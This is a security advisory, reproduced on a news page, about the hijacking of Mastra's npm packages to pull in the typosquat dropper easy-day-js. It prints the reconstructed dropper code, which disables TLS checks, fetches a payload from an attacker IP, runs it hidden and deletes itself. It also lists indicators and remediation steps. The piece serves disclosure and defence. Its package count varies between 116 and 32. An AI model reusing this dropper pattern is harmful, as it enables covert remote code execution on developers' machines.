cd /news/ai-safety/mastra-compromised-in-supply-chain-a… · home topics ai-safety article
[ARTICLE · art-30468] src=endorlabs.com ↗ pub= topic=ai-safety verified=true sentiment=↓ negative

Mastra compromised in supply chain attack

An attacker hijacked a Mastra maintainer's account and republished 116 packages in the @mastra catalog over 27 minutes, adding a hidden dependency on the typosquat package easy-day-js. The malicious package disables TLS validation, fetches a second-stage payload from a raw IP, and runs it as a hidden process. Mastra is an open-source AI toolkit downloaded 28 million times monthly, making the compromised account a severe supply chain risk.

read14 min views1 publishedJun 17, 2026

TL;DR #

An attacker took over the account of a Mastra maintainer and used it to tamper with the project at scale. Over a 27-minute window, they republished the entire @mastra catalog. They left Mastra's own code alone. In each package they changed a single line, adding a hidden link to a counterfeit component named easy-day-js

, a lookalike of a widely used tool called dayjs

.

Mastra is an open-source toolkit that software developers use to build AI applications and agents. It comes from the team behind Gatsby and is widely adopted: the project's components are downloaded more than 28 million times a month by teams building on top of it. Like most modern software, Mastra is shipped as a set of small, reusable building blocks that other programs pull in automatically. That reach is what made one stolen account so dangerous.

easy-day-js

is a typosquat. It impersonates dayjs down to the description and the bundled dayjs.min.js, but adds a postinstall hook that runs a dropper. On install, the dropper disables TLS certificate validation, fetches a second-stage payload from a raw IP address, writes it to the temp directory, runs it as a detached and hidden child process, and deletes itself.

Three things stand out about this incident:

The whole org went at once. This was not one package. It was a scripted sweep of 116 packages in under half an hour, ordered roughly by download count, which points to a hijacked account with publish rights across the entire scope rather than a single rogue release.The carrier packages are clean; the payload is one level down. Every Mastra package is an unmodified library with a single poisoned dependency line. Scanners that only inspect the named package's own code will not see anything wrong. The malicious behavior lives in easy-day-js, and in most of the packages that dependency is never even imported.A pre-staged decoy dependency. easy-day-js@1.11.21 was published a day earlier with no install hook, a clean decoy. The weaponized 1.11.22 landed at 01:01 UTC, eleven minutes before the Mastra sweep began.

Affected packages #

All versions below are malicious and were published 2026-06-17. Pin to the last provenance-backed release of each and treat these specific versions as compromised.

| Package | Malicious version | Published (UTC) | Downloads/month | | @mastra/schema-compat | 1.2.12 | 1:12 | 5,279,923 | | @mastra/core | 1.42.1 | 1:15 | 4,013,267 | | mastra | 1.13.1 | 1:20 | 2,139,510 | | @mastra/memory | 1.20.4 | 1:16 | 2,057,689 | | @mastra/server | 2.1.1 | 1:17 | 1,864,647 | | @mastra/deployer | 1.42.1 | 1:19 | 1,858,620 | | @mastra/observability | 1.14.2 | 1:18 | 1,695,048 | | @mastra/loggers | 1.1.3 | 1:18 | 1,672,903 | | @mastra/pg | 1.13.1 | 1:25 | 1,361,195 | | @mastra/mcp | 1.10.1 | 1:25 | 1,203,924 | | @mastra/ai-sdk | 1.4.6 | 1:27 | 1,069,650 | | @mastra/libsql | 1.13.1 | 1:26 | 977,312 | | @mastra/langfuse | 1.3.6 | 1:29 | 617,580 | | @mastra/evals | 1.3.1 | 1:29 | 476,879 | | @mastra/rag | 2.2.2 | 1:30 | 307,033 | | @mastra/datadog | 1.2.5 | 1:30 | 253,586 | | @mastra/duckdb | 1.4.3 | 1:32 | 222,862 | | @mastra/braintrust | 1.1.4 | 1:33 | 187,050 | | @mastra/dynamodb | 1.0.9 | 1:31 | 160,266 | | @mastra/hono | 1.4.26 | 1:32 | 152,792 | | @mastra/otel-bridge | 1.2.3 | 1:33 | 132,788 | | @mastra/editor | 0.11.3 | 1:34 | 128,885 | | @mastra/langsmith | 1.2.4 | 1:34 | 120,459 | | @mastra/mcp-docs-server | 1.1.47 | 1:37 | 97,609 | | @mastra/mongodb | 1.9.3 | 1:35 | 92,100 | | @mastra/posthog | 1.0.29 | 1:36 | 90,917 | | @mastra/fastembed | 1.1.3 | 1:39 | 77,220 | | @mastra/s3 | 0.5.3 | 1:38 | 64,299 | | @mastra/sentry | 1.1.4 | 1:35 | 63,793 | | @mastra/fastify | 1.3.31 | 1:39 | 61,020 | | @mastra/auth | 1.0.3 | 1:38 | 59,979 | | @mastra/inngest | 1.5.2 | 1:39 | 51,427 | | @mastra/acp | 0.2.2 | 1:55 | not separately reported | | @mastra/agent-browser | 0.3.2 | 1:42 | not separately reported | | @mastra/agent-builder | 1.0.42 | 1:59 | not separately reported | | @mastra/agentcore | 0.2.2 | 2:23 | not separately reported | | @mastra/agentfs | 0.1.1 | 2:17 | not separately reported | | @mastra/arize | 1.2.3 | 1:44 | not separately reported | | @mastra/arthur | 0.3.3 | 2:22 | not separately reported | | @mastra/astra | 1.0.2 | 2:06 | not separately reported | | @mastra/auth-auth0 | 1.0.2 | 1:54 | not separately reported | | @mastra/auth-better-auth | 1.0.4 | 1:45 | not separately reported | | @mastra/auth-clerk | 1.0.3 | 1:46 | not separately reported | | @mastra/auth-cloud | 1.1.4 | 2:08 | not separately reported | | @mastra/auth-firebase | 1.0.1 | 2:20 | not separately reported | | @mastra/auth-okta | 0.0.5 | 2:18 | not separately reported | | @mastra/auth-studio | 1.2.4 | 2:16 | not separately reported | | @mastra/auth-supabase | 1.0.2 | 1:47 | not separately reported | | @mastra/auth-workos | 1.5.3 | 1:55 | not separately reported | | @mastra/azure | 0.2.3 | 2:18 | not separately reported | | @mastra/blaxel | 0.4.2 | 1:57 | not separately reported | | @mastra/brightdata | 0.2.2 | 2:19 | not separately reported | | @mastra/browser-viewer | 0.1.3 | 2:15 | not separately reported | | @mastra/chroma | 1.0.2 | 1:45 | not separately reported | | @mastra/claude | 1.0.3 | 2:02 | not separately reported | | @mastra/clickhouse | 1.10.1 | 1:37 | not separately reported | | @mastra/client-js | 1.24.1 | 1:26 | not separately reported | | @mastra/cloudflare | 1.4.2 | 1:55 | not separately reported | | @mastra/cloudflare-d1 | 1.0.7 | 1:50 | not separately reported | | @mastra/codemod | 1.0.4 | 2:23 | not separately reported | | @mastra/convex | 1.2.2 | 1:46 | not separately reported | | @mastra/couchbase | 1.0.4 | 1:58 | not separately reported | | @mastra/cursor | 0.2.1 | 2:04 | not separately reported | | @mastra/daytona | 0.4.2 | 1:41 | not separately reported | | @mastra/deployer-cloud | 1.42.1 | 2:05 | not separately reported | | @mastra/deployer-cloudflare | 1.1.44 | 1:47 | not separately reported | | @mastra/deployer-netlify | 1.1.20 | 2:02 | not separately reported | | @mastra/deployer-vercel | 1.1.38 | 1:41 | not separately reported | | @mastra/docker | 0.3.1 | 1:53 | not separately reported | | @mastra/dsql | 1.0.3 | 1:57 | not separately reported | | @mastra/e2b | 0.3.4 | 1:44 | not separately reported | | @mastra/elasticsearch | 1.2.1 | 2:20 | not separately reported | | @mastra/express | 1.3.31 | 1:31 | not separately reported | | @mastra/files-sdk | 0.2.1 | 2:06 | not separately reported | | @mastra/gcs | 0.2.3 | 1:48 | not separately reported | | @mastra/github-signals | 0.1.2 | 2:07 | not separately reported | | @mastra/google-cloud-pubsub | 1.0.6 | 2:03 | not separately reported | | @mastra/google-drive | 0.1.1 | 2:21 | not separately reported | | @mastra/koa | 1.5.14 | 2:00 | not separately reported | | @mastra/laminar | 1.2.3 | 2:09 | not separately reported | | @mastra/lance | 1.0.7 | 2:04 | not separately reported | | @mastra/longmemeval | 1.0.50 | 1:54 | not separately reported | | @mastra/mcp-registry-registry | 1.0.2 | 2:00 | not separately reported | | @mastra/mssql | 1.3.2 | 1:56 | not separately reported | | @mastra/mysql | 0.1.1 | 2:21 | not separately reported | | @mastra/nestjs | 0.1.15 | 1:51 | not separately reported | | @mastra/openai | 1.0.2 | 2:05 | not separately reported | | @mastra/opencode | 0.0.47 | 2:17 | not separately reported | | @mastra/opensearch | 1.0.3 | 2:04 | not separately reported | | @mastra/otel-exporter | 1.2.3 | 1:28 | not separately reported | | @mastra/perplexity | 0.1.1 | 2:24 | not separately reported | | @mastra/pinecone | 1.0.2 | 1:52 | not separately reported | | @mastra/playground-ui | 33.0.1 | 1:49 | not separately reported | | @mastra/qdrant | 1.0.3 | 1:46 | not separately reported | | @mastra/react | 1.0.1 | 1:42 | not separately reported | | @mastra/redis | 1.1.3 | 1:48 | not separately reported | | @mastra/redis-streams | 0.0.4 | 2:03 | not separately reported | | @mastra/s3vectors | 1.0.7 | 1:50 | not separately reported | | @mastra/slack | 1.3.1 | 2:19 | not separately reported | | @mastra/spanner | 1.1.2 | 2:22 | not separately reported | | @mastra/stagehand | 0.2.5 | 1:40 | not separately reported | | @mastra/tavily | 1.0.3 | 1:45 | not separately reported | | @mastra/temporal | 0.1.14 | 1:53 | not separately reported | | @mastra/turbopuffer | 1.0.3 | 1:52 | not separately reported | | @mastra/twilio | 1.0.2 | 2:16 | not separately reported | | @mastra/upstash | 1.1.3 | 1:43 | not separately reported | | @mastra/vectorize | 1.0.3 | 1:58 | not separately reported | | @mastra/voice-aws-nova-sonic | 0.1.4 | 2:01 | not separately reported | | @mastra/voice-azure | 0.11.2 | 2:23 | not separately reported | | @mastra/voice-deepgram | 0.12.2 | 1:53 | not separately reported | | @mastra/voice-elevenlabs | 0.12.2 | 1:51 | not separately reported | | @mastra/voice-google | 0.12.3 | 1:51 | not separately reported | | @mastra/voice-google-gemini-live | 0.12.2 | 1:43 | not separately reported | | @mastra/voice-openai | 0.12.3 | 1:42 | not separately reported | | @mastra/voice-openai-realtime | 0.12.6 | 1:40 | not separately reported | | create-mastra | 1.13.1 | 1:56 | not separately reported |

The dropper dependency:

| Package | Version | Role | | easy-day-js | 1.11.21 | Clean decoy, no install hook, published 2026-06-16 | | easy-day-js | 1.11.22 | Weaponized, postinstall dropper, published 2026-06-17 01:01 UTC |

Timeline #

| Time (UTC) | Event | | 2026-06-16 07:05 | easy-day-js@1.11.21 published, a clean decoy with no install hook | | 2026-06-17 01:01 | easy-day-js@1.11.22 published, carrying the postinstall dropper | | 2026-06-17 01:12 | First Mastra package republished (@mastra/schema-compat) | | 2026-06-17 01:12 to 01:39 | 32 Mastra packages republished by ehindero, no provenance |

Technical analysis #

The carrier pattern

We pulled and inspected the published tarballs without installing them. Every affected Mastra package shows the same single change: a new line in package.json

declaring "easy-day-js": "^1.11.21

". In the packages we examined, the dependency is not imported or referenced anywhere in the package source. It does no work for the library. Its only function is to be resolved and installed, which is enough to fire the dropper's postinstall

hook.

This is why the Mastra packages themselves are not malicious in the usual sense. They are carriers. The malware is one dependency level down, and the lockfile constraint ^1.11.21

resolves to the weaponized 1.11.22

.

Every release also dropped the SLSA provenance attestation that the project's GitHub Actions pipeline normally produces, and several tripped a metadata masquerade check because the declared mastra-ai/mastra

repository does not vouch for the published artifact. Both are consistent with a manual publish from outside the project's CI, using credentials with org-wide publish rights.

easy-day-js: the disguise

easy-day-js

is built to pass a glance. It copies the dayjs

description ("2KB immutable date time library alternative to Moment.js"), ships the real dayjs.min.js

as its main entry, and includes the full dayjs

locale and plugin tree. We confirmed the bundled dayjs.min.js

is byte-identical between the decoy 1.11.21

and the weaponized 1.11.22.

The only meaningful difference between the two versions is a single added file, setup.cjs

, and a single added line in package.json

:

"scripts": {

  "postinstall": "node setup.cjs --no-warnings"

}

The dropper

setup.cjs

is a 4.5 KB obfuscator.io-style script: a rotated string array behind a base64 decoder. We deobfuscated it statically in a sandbox, cracking the array rotation and resolving the string references. The operational literals are embedded directly in the install-time routine and are unambiguous. Reconstructed, it does the following:

// 1. Disable TLS certificate validation for the whole process

process.env.NODE_TLS_REJECT_UNAUTHORIZED = '0';

(async () => {

  try {

    const c2 = 'https://23.254.164.92:8000/update/49890878';

    // 2. Drop marker files in the home/temp dir

    fs.writeFileSync(path.join(os.homedir(), '.pkg_history'), __dirname, 'utf-8');

    fs.writeFileSync(path.join(os.homedir(), '.pkg_logs'), markerBytes);

    // 3. Fetch the second-stage payload over the now-unverified TLS connection

    const payload = await (await fetch(c2, { method: 'GET' })).text();

    // 4. Write it to a random filename in the working dir

    const name = crypto.randomBytes(12).toString('hex') + '.js';

    const dest = path.join(os.homedir(), name);

    fs.writeFileSync(dest, payload, 'utf-8');

    // 5. Run it as a detached, hidden child process that outlives the install

    child_process.spawn(process.execPath, [dest, token], {

      cwd: os.homedir(),

      detached: true,

      stdio: 'ignore',

      windowsHide: true

    }).unref();

  } catch {}

  finally {

    // 6. Delete this dropper to remove evidence

    fs.rmSync(__filename, { force: true });

  }

})();

The sequence is deliberate. Disabling NODE_TLS_REJECT_UNAUTHORIZED

lets the dropper talk to a bare IP on port 8000 with no valid certificate. The payload is never written to disk in the package itself, only fetched at install time, so the published artifact stays small and clean-looking. detached: true

plus .unref()

means the spawned process keeps running after npm install returns,

and windowsHide

: true keeps it off-screen on Windows. The finally block removes setup.cjs

so a post-install inspection of node_modules

finds nothing.

Indicators worth noting

The deobfuscated strings surfaced a second endpoint on the same host range, 23.254.164.123:443,

alongside the primary 23.254.164.92:8000.

Both should be blocked. The dropper also leaves two marker files, .pkg_history

(containing the install path) and .pkg_logs

, which are useful for hunting. As of time of analysis, the initial /update/49890878

payload was no longer reachable and returned a not found from the webserver.

Indicators of compromise #

Package indicators

All 32 Mastra versions in the table above, plus:

| Indicator | Notes | | easy-day-js@1.11.22 | Weaponized dropper | | easy-day-js@1.11.21 | Clean decoy, still attacker-controlled, should be blocked | | Publisher ehindero / ehindero2016@tutamail.com | Account used for every malicious publish | | Any @mastra/* or mastra version published 2026-06-17 without SLSA provenance | Manual publish outside CI |

Network indicators

| Indicator | Notes | | https://23.254.164.92:8000/update/49890878 | Second-stage payload URL | | 23.254.164.123:443 | Secondary endpoint on the same /24 |

File and behavioral indicators

| Indicator | Notes | | ~/.pkg_history | Marker file containing the install path | | ~/.pkg_logs | Marker file dropped by the hook | | Random <24-hex>.js file in the home dir | The fetched second stage | | node setup.cjs running during npm install | The dropper | | NODE_TLS_REJECT_UNAUTHORIZED=0 set by an install script | TLS validation disabled | | Detached node child process spawned during install | The running payload |

Code markers

| Marker | Notes | | "postinstall": "node setup.cjs --no-warnings" | In easy-day-js@1.11.22 | | process.env.NODE_TLS_REJECT_UNAUTHORIZED='0' | In setup.cjs | | Buffer.from(... ); ... spawn(process.execPath, ...).unref() | Detached payload launch | | fs.rmSync(__filename, { force: true }) | Self-delete in the finally block |

Remediation #

Check your exposure


npm ls easy-day-js

grep -REn "@mastra/|\"mastra\"|easy-day-js" package-lock.json yarn.lock pnpm-lock.yaml 2>/dev/null


ls -la ~/.pkg_history ~/.pkg_logs 2>/dev/null

find "$HOME" -maxdepth 1 -type f -name '*.js' -newermt '2026-06-17' 2>/dev/null

Pin every Mastra dependency to the last version published via GitHub Actions with provenance, and add easy-day-js to your registry blocklist.

If you installed an affected version

Treat the host as compromised. The dropper disabled TLS validation in-process and launched a detached child whose contents were fetched at runtime, so the install hook is not the whole story.

  • Rotate every credential reachable from the affected host or CI runner: cloud keys, registry tokens, CI secrets, and anything in environment variables the build could read.
  • Hunt for and kill any detached node

process spawned around install time, and remove the random .js

file from the home directory. - Block outbound traffic to 23.254.164.92

and 23.254.164.123

and review egress logs for connections to either since 01:12 UTC on 2026-06-17.

Longer term

Disable install scripts by default. npm install --ignore-scripts

blocks postinstall and neutralizes this entire class of dependency-trojan.

Enforce provenance. Requiring SLSA provenance on first-party dependencies would have flagged every one of these releases, since all 32 dropped it.Pin with integrity hashes and review dependency additions. A new, unused dependency added to a mature package is a strong signal. Here, a single added line in package.json

was the entire compromise.

── more in #ai-safety 4 stories · sorted by recency
── more on @mastra 3 stories trending now
sponsored brought to you by zahid.host 4,200+ EU-deployed projects
reading about agents? ship yours in a single git push.

Run your AI side-project on zahid.host

EU-based hosting, git-push deploys, automatic HTTPS, no cold starts. Free tier with a custom domain — perfect for shipping the agent you just read about.

$git push zahid main
Live at https://your-agent.zahid.host
Get free account → Pricing
from €0/mo · no card required
LIVE [news/mastra-compromised-i…] indexed:0 read:14min 2026-06-17 ·